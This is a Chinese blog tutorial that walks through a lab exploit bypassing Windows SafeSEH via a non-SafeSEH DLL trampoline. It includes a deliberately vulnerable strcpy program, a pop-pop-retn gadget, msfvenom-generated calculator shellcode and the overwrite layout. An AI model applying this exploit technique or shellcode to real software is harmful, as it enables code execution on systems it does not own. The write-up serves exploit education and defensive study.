内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

Posted zhang293

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH相关的知识,希望对你有一定的参考价值。

前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看)。

利用未启用SafeSEH模块绕过SafeSEH

⑴.  原理分析:

一个不是仅包含中间语言(1L)且未启用SafeSEH的模块中的异常处理,如果异常处理链在栈上,异常处理函数指针不在栈上,那么这个异常处理就可以被执行。

所以,我们能找到一个未启用SafeSEH的模块,就可以利用它里面的指令作为跳板来绕过SafeSEH。

 

⑵.环境准备:

i.实验代码:

生成exe文件的代码:

 #include "stdafx.h"

#include <string.h>

#include <windows.h>

char shellcode[]=

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x12\\x10\\x12\\x11"//address of pop pop retn in No_SafeSEH module

"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\xbe\\xe8\\x88\\x3c\\xfd\\xd9\\xd0\\xd9\\x74\\x24\\xf4\\x5a\\x33\\xc9\\xb1"

"\\x30\\x31\\x72\\x13\\x03\\x72\\x13\\x83\\xea\\x14\\x6a\\xc9\\x01\\x0c\\xe9"

"\\x32\\xfa\\xcc\\x8e\\xbb\\x1f\\xfd\\x8e\\xd8\\x54\\xad\\x3e\\xaa\\x39\\x41"

"\\xb4\\xfe\\xa9\\xd2\\xb8\\xd6\\xde\\x53\\x76\\x01\\xd0\\x64\\x2b\\x71\\x73"

"\\xe6\\x36\\xa6\\x53\\xd7\\xf8\\xbb\\x92\\x10\\xe4\\x36\\xc6\\xc9\\x62\\xe4"

"\\xf7\\x7e\\x3e\\x35\\x73\\xcc\\xae\\x3d\\x60\\x84\\xd1\\x6c\\x37\\x9f\\x8b"

"\\xae\\xb9\\x4c\\xa0\\xe6\\xa1\\x91\\x8d\\xb1\\x5a\\x61\\x79\\x40\\x8b\\xb8"

"\\x82\\xef\\xf2\\x75\\x71\\xf1\\x33\\xb1\\x6a\\x84\\x4d\\xc2\\x17\\x9f\\x89"

"\\xb9\\xc3\\x2a\\x0a\\x19\\x87\\x8d\\xf6\\x98\\x44\\x4b\\x7c\\x96\\x21\\x1f"

"\\xda\\xba\\xb4\\xcc\\x50\\xc6\\x3d\\xf3\\xb6\\x4f\\x05\\xd0\\x12\\x14\\xdd"

"\\x79\\x02\\xf0\\xb0\\x86\\x54\\x5b\\x6c\\x23\\x1e\\x71\\x79\\x5e\\x7d\\x1f"

"\\x7c\\xec\\xfb\\x6d\\x7e\\xee\\x03\\xc1\\x17\\xdf\\x88\\x8e\\x60\\xe0\\x5a"

"\\xeb\\x9f\\xaa\\xc7\\x5d\\x08\\x73\\x92\\xdc\\x55\\x84\\x48\\x22\\x60\\x07"

"\\x79\\xda\\x97\\x17\\x08\\xdf\\xdc\\x9f\\xe0\\xad\\x4d\\x4a\\x07\\x02\\x6d"

"\\x5f\\x64\\xc5\\xfd\\x03\\x6b"

 

;

 

DWORD MyException(void)

{

         printf("There is an exception");

         getchar();

         return 1;

}

void test(char * input)

{

         char str[200];

         strcpy(str,input);     

    int zero=0;

         __try

         {

             zero=1/zero;

         }

         __except(MyException())

         {

         }

}

int _tmain(int argc, _TCHAR* argv[])

{

         HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module

         char str[200];

         test(shellcode);

         return 0;

}

 

生成没有SafeSEH保护的dll文件的代码。

 

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)

{

    return TRUE;

}

void jump()

{

__asm{

         pop eax

         pop eax

         retn

         }

}

        

 ii.测试环境:

 测试平台:Windows 32位。

编译器:exe文件由visual studio 2008生成,dll文件由visual studio 6.0生成。

 

 iii.编译条件:

exe文件:DEP,ASLR关闭。

 

  dll文件:

vs 6.0 编译,没有任何保护措施,设置机制为0x11120000,(默认是0x10000000,中间的00会截断shellcode的复制)。

 

 

iv.将编译后生成的dll文件放到exe所在的文件夹下。

 

⑶.调试分析:

 i.加载dll文件,test函数参数(shellcode)入栈,调用test函数。

 

 

ii.将我们的异常处理函数注册到SEH链中:

 

 

此时,SEH链如下:

 

可以看到异常处理链在栈中,异常处理函数不再栈中符合,safeSEH前两步的验证条件。

 

iii.确定缓冲区起始地址0x0012fd80。

 

 

iv.此时test函数的栈分布如下:

 

 

 

⑷.攻击过程:

i.确定shellcode大小:

我们的目的是覆盖异常处理函数的指针,将这个指针换成跳板地址,从而控制EIP使之返回到恶意代码的指针(弹出计算器)。

所以,size(shellcode) = 缓冲区起始地址 – 异常处理函数 + 4 + 8(跳板跳两次,esp增长8字节)+ 恶意代码长度。

从(3)可知,缓冲区起始地址 = 0x0012fd80

                       异常处理函数指针= 0x0012fe5c

        

 

ii.生成恶意代码(弹出计算器):

 

这里的恶意代码可以用msfconsole生成:

msfvenom -p windows/exec cmd=calc -b \'\\x00\' -f c

生成长度为216字节的恶意代码。

 

iii.设计shellcode:

由i的分析可知,shellcode的结构应如下所示:

 

  iv.找到跳板的地址:

  在Ollydbg中,alt+m查看内存,查找到dll文件,可以看到我们写入的跳板地址如下:

 

跳板地址 = 0x11121012

 

v.实施攻击:

程序运行到test函数中的strcpy函数运行结束,

 

异常处理函数指针已经被覆盖成了我们的跳板地址。

此时,SEH链在栈上,异常处理函数不在栈上,且异常处理函数位于一个不受safeSEH保护且不仅仅只包含1L中间语言的模块中,所以这个跳板函数会执行,EIP将被控制,恶意代码执行

成功。

 

以上是关于内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH的主要内容,如果未能解决你的问题,请参考以下文章

利用未启用 SafeSEH 模块绕过 SafeSEH

内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制

利用Windows RPC绕过CFG防护机制

利用Windows RPC绕过CFG防护机制

利用加载模块之外的地址绕过 SafeSEH